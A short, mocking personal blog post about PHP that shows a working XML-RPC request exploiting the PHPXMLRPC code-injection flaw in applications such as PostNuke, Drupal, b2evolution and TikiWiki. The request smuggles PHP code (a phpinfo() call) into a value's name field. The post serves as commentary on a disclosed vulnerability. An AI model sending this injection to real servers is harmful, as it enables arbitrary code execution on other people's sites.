Stephen Thorne's Journal

Tee Hee
PHP. Isn't it the best programming language, like, ever!

Look! You can even execute arbitary code in 9 lines of XML! Just set up an application that uses PHPXMLRPC like PostNuke, Drupal, b2evolution or TikiWiki, and fire off a request that looks like this:

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
    <params>
	<param>
	     <value><name>','')); phpinfo(); exit;/*</name></value>
	</param>
    </params>
</methodCall>

Volla! You've now written your first php program!

Advertisement